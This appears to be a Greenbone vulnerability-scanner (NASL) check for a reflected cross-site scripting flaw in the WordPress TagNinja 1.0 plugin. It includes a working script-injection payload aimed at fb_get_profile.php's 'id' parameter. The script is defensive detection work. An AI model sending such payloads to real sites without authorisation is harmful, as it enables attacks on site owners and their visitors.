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WordPress TagNinja Plugin 'id' Parameter Cross Site Scripting Vulnerability

🗓️ 17 Feb 2011 00:00:00Reported by Copyright (C) 2011 Greenbone AGType 
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WordPress TagNinja Plugin 'id' Parameter Cross Site Scripting Vulnerability. Improper validation allows execution of arbitrary HTML and script cod

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# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801850");
  script_version("2023-10-27T05:05:28+0000");
  script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
  script_tag(name:"creation_date", value:"2011-02-17 16:08:28 +0100 (Thu, 17 Feb 2011)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_name("WordPress TagNinja Plugin 'id' Parameter Cross Site Scripting Vulnerability");
  script_xref(name:"URL", value:"http://secunia.com/advisories/43132");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/46090");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/view/98049/WordPressTagNinja1.0-xss.txt");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_mandatory_keys("wordpress/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary
  code in the context of an application.");
  script_tag(name:"affected", value:"WordPress TagNinja Plugin version 1.0");
  script_tag(name:"insight", value:"The flaw is caused by improper validation of user-supplied input
  passed via the 'id' parameter to wp-content/plugins/tagninja/fb_get_profile.php,
  that allows attackers to execute arbitrary HTML and script code on the web server.");
  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");
  script_tag(name:"summary", value:"WordPress is prone to a cross-site scripting (XSS) vulnerability.");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + '/wp-content/plugins/tagninja/fb_get_profile.php?id="><script>' +
            'alert(document.location)</script>';

if(http_vuln_check(port:port, url:url, check_header:TRUE,
                   pattern:"<script>alert\(document.location\)</script>")) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);

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27 Oct 2023 00:00Current
6.2Medium risk
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